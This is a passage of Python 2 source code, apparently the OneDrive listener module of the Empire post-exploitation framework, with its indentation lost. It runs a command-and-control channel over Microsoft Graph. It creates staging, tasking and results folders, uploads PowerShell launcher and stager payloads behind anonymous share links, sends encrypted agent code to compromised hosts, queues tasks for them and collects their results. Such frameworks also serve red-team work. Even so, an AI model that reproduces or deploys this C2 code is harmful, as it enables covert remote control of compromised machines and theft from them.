dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
for item in [staging_folder, taskings_folder, results_folder]:
item_object = s.get("%s/drive/root:/%s/%s" % (base_url, base_folder, item))
if not (item_object.status_code == 200):
print helpers.color("[*] Creating %s/%s folder" % (base_folder, item))
params = {'@microsoft.graph.conflictBehavior': 'rename', 'folder': {}, 'name': item}
item_object = s.post("%s/drive/items/%s/children" % (base_url, base_object.json()['id']), json=params)
else:
message = "[*] {}/{} already exists".format(base_folder, item)
signal = json.dumps({
'print' : True,
'message': message
})
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
def upload_launcher():
ps_launcher = self.mainMenu.stagers.generate_launcher(listener_name, language='powershell', encode=False, userAgent='none', proxy='none', proxyCreds='none')
r = s.put("%s/drive/root:/%s/%s/%s:/content" %(base_url, base_folder, staging_folder, "LAUNCHER-PS.TXT"),
data=ps_launcher, headers={"Content-Type": "text/plain"})
if r.status_code == 201 or r.status_code == 200:
item = r.json()
r = s.post("%s/drive/items/%s/createLink" % (base_url, item['id']),
json={"scope": "anonymous", "type": "view"},
headers={"Content-Type": "application/json"})
launcher_url = "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" % r.json()['shareId']
def upload_stager():
ps_stager = self.generate_stager(listenerOptions=listener_options, language='powershell', token=token['access_token'])
r = s.put("%s/drive/root:/%s/%s/%s:/content" % (base_url, base_folder, staging_folder, "STAGE0-PS.txt"),
data=ps_stager, headers={"Content-Type": "application/octet-stream"})
if r.status_code == 201 or r.status_code == 200:
item = r.json()
r = s.post("%s/drive/items/%s/createLink" % (base_url, item['id']),
json={"scope": "anonymous", "type": "view"},
headers={"Content-Type": "application/json"})
stager_url = "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" % r.json()['shareId']
#Different domain for some reason?
self.mainMenu.listeners.activeListeners[listener_name]['stager_url'] = stager_url
else:
print helpers.color("[!] Something went wrong uploading stager")
message = r.content
signal = json.dumps({
'print' : True,
'message': message
})
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
listener_options = copy.deepcopy(listenerOptions)
listener_name = listener_options['Name']['Value']
staging_key = listener_options['StagingKey']['Value']
poll_interval = listener_options['PollInterval']['Value']
client_id = listener_options['ClientID']['Value']
auth_code = listener_options['AuthCode']['Value']
refresh_token = listener_options['RefreshToken']['Value']
base_folder = listener_options['BaseFolder']['Value']
staging_folder = listener_options['StagingFolder']['Value'].strip('/')
taskings_folder = listener_options['TaskingsFolder']['Value'].strip('/')
results_folder = listener_options['ResultsFolder']['Value'].strip('/')
redirect_uri = listener_options['RedirectURI']['Value']
base_url = "https://graph.microsoft.com/v1.0"
s = Session()
if refresh_token:
token = renew_token(client_id, refresh_token)
message = "[*] Refreshed auth token"
signal = json.dumps({
'print' : True,
'message': message
})
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
else:
token = get_token(client_id, auth_code)
message = "[*] Got new auth token"
signal = json.dumps({
'print' : True,
'message': message
})
dispatcher.send(signal, sender="listeners/onedrive")
s.headers['Authorization'] = "Bearer " + token['access_token']
setup_folders()
while True:
#Wait until Empire is aware the listener is running, so we can save our refresh token and stager URL
try:
if listener_name in self.mainMenu.listeners.activeListeners.keys():
upload_stager()
upload_launcher()
break
else:
time.sleep(1)
except AttributeError:
time.sleep(1)
while True:
time.sleep(int(poll_interval))
try: #Wrap the whole loop in a try/catch so one error won't kill the listener
if time.time() > token['expires_at']: #Get a new token if the current one has expired
token = renew_token(client_id, token['refresh_token'])
s.headers['Authorization'] = "Bearer " + token['access_token']
message = "[*] Refreshed auth token"
signal = json.dumps({
'print' : True,
'message': message
})
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
upload_stager()
if token['update']:
self.mainMenu.listeners.update_listener_options(listener_name, "RefreshToken", token['refresh_token'])
token['update'] = False
search = s.get("%s/drive/root:/%s/%s?expand=children" % (base_url, base_folder, staging_folder))
for item in search.json()['children']: #Iterate all items in the staging folder
try:
reg = re.search("^([A-Z0-9]+)_([0-9]).txt", item['name'])
if not reg:
continue
agent_name, stage = reg.groups()
if stage == '1': #Download stage 1, upload stage 2
message = "[*] Downloading {}/{}/{} {}".format(base_folder, staging_folder, item['name'], item['size'])
signal = json.dumps({
'print': False,
'message': message
})
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
content = s.get(item['@microsoft.graph.downloadUrl']).content
lang, return_val = self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0]
message = "[*] Uploading {}/{}/{}_2.txt, {} bytes".format(base_folder, staging_folder, agent_name, str(len(return_val)))
signal = json.dumps({
'print': False,
'message': message
})
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
s.put("%s/drive/root:/%s/%s/%s_2.txt:/content" % (base_url, base_folder, staging_folder, agent_name), data=return_val)
message = "[*] Deleting {}/{}/{}".format(base_folder, staging_folder, item['name'])
signal = json.dumps({
'print': False,
'message': message
})
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
s.delete("%s/drive/items/%s" % (base_url, item['id']))
if stage == '3': #Download stage 3, upload stage 4 (full agent code)
message = "[*] Downloading {}/{}/{}, {} bytes".format(base_folder, staging_folder, item['name'], item['size'])
signal = json.dumps({
'print': False,
'message': message
})
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
content = s.get(item['@microsoft.graph.downloadUrl']).content
lang, return_val = self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0]
session_key = self.mainMenu.agents.agents[agent_name]['sessionKey']
agent_token = renew_token(client_id, token['refresh_token']) #Get auth and refresh tokens for the agent to use
agent_code = str(self.generate_agent(listener_options, client_id, agent_token['access_token'],
agent_token['refresh_token'], redirect_uri, lang))
enc_code = encryption.aes_encrypt_then_hmac(session_key, agent_code)
message = "[*] Uploading {}/{}/{}_4.txt, {} bytes".format(base_folder, staging_folder, agent_name, str(len(enc_code)))
signal = json.dumps({
'print': False,
'message': message
})
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
s.put("%s/drive/root:/%s/%s/%s_4.txt:/content" % (base_url, base_folder, staging_folder, agent_name), data=enc_code)
message = "[*] Deleting {}/{}/{}".format(base_folder, staging_folder, item['name'])
signal = json.dumps({
'print': False,
'message': message
})
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
s.delete("%s/drive/items/%s" % (base_url, item['id']))
except Exception, e:
print helpers.color("[!] Could not handle agent staging for listener %s, continuing" % listener_name)
message = traceback.format_exc()
signal = json.dumps({
'print': False,
'message': message
})
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
agent_ids = self.mainMenu.agents.get_agents_for_listener(listener_name)
for agent_id in agent_ids: #Upload any tasks for the current agents
task_data = self.mainMenu.agents.handle_agent_request(agent_id, 'powershell', staging_key, update_lastseen=False)
if task_data:
try:
r = s.get("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id))
if r.status_code == 200: # If there's already something there, download and append the new data
task_data = r.content + task_data
message = "[*] Uploading agent tasks for {}, {} bytes".format(agent_id, str(len(task_data)))
signal = json.dumps({
'print': False,
'message': message
})
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
r = s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id), data = task_data)
except Exception, e:
message = "[!] Error uploading agent tasks for {}, {}".format(agent_id, e)
signal = json.dumps({
'print': False,
'message': message
})
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
search = s.get("%s/drive/root:/%s/%s?expand=children" % (base_url, base_folder, results_folder))
for item in search.json()['children']: #For each file in the results folder
try:
agent_id = item['name'].split(".")[0]
if not agent_id in agent_ids: #If we don't recognize that agent, upload a message to restage
print helpers.color("[*] Invalid agent, deleting %s/%s and restaging" % (results_folder, item['name']))
s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id), data = "RESTAGE")
s.delete("%s/drive/items/%s" % (base_url, item['id']))
continue
try: #Update the agent's last seen time, from the file timestamp
seen_time = datetime.strptime(item['lastModifiedDateTime'], "%Y-%m-%dT%H:%M:%S.%fZ")
except: #sometimes no ms for some reason...
seen_time = datetime.strptime(item['lastModifiedDateTime'], "%Y-%m-%dT%H:%M:%SZ")
seen_time = helpers.utc_to_local(seen_time)
self.mainMenu.agents.update_agent_lastseen_db(agent_id, seen_time)
#If the agent is just checking in, the file will only be 1 byte, so no results to fetch
if(item['size'] > 1):
message = "[*] Downloading results from {}/{}, {} bytes".format(results_folder, item['name'], item['size'])
signal = json.dumps({
'print': False,
'message': message
})
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
r = s.get(item['@microsoft.graph.downloadUrl'])
self.mainMenu.agents.handle_agent_data(staging_key, r.content, listener_options, update_lastseen=False)
message = "[*] Deleting {}/{}".format(results_folder, item['name'])
signal = json.dumps({
'print': False,
'message': message
})
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
s.delete("%s/drive/items/%s" % (base_url, item['id']))
except Exception, e:
message = "[!] Error handling agent results for {}, {}".format(item['name'], e)
signal = json.dumps({
'print': False,
'message': message
})
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
except Exception, e:
print helpers.color("[!] Something happened in listener %s: %s, continuing" % (listener_name, e))
message = traceback.format_exc()
signal = json.dumps({
'print': False,
'message': message
})
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
s.close()
def start(self, name=''):
"""
Start a threaded instance of self.start_server() and store it in the
self.threads dictionary keyed by the listener name.
"""
listenerOptions = self.options
if name and name != '':
self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,))
self.threads[name].start()
time.sleep(3)
# returns True if the listener successfully started, false otherwise
return self.threads[name].is_alive()
else:
name = listenerOptions['Name']['Value']
self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,))
self.threads[name].start()
time.sleep(3)
# returns True if the listener successfully started, false otherwise
return self.threads[name].is_alive()
def shutdown(self, name=''):
"""
Terminates the server thread stored in the self.threads dictionary,
keyed by the listener name.
"""
if name and name != '':
print helpers.color("[!] Killing listener '%s'" % (name))
self.threads[name].kill()
else:
print helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value']))
self.threads[self.options['Name']['Value']].kill()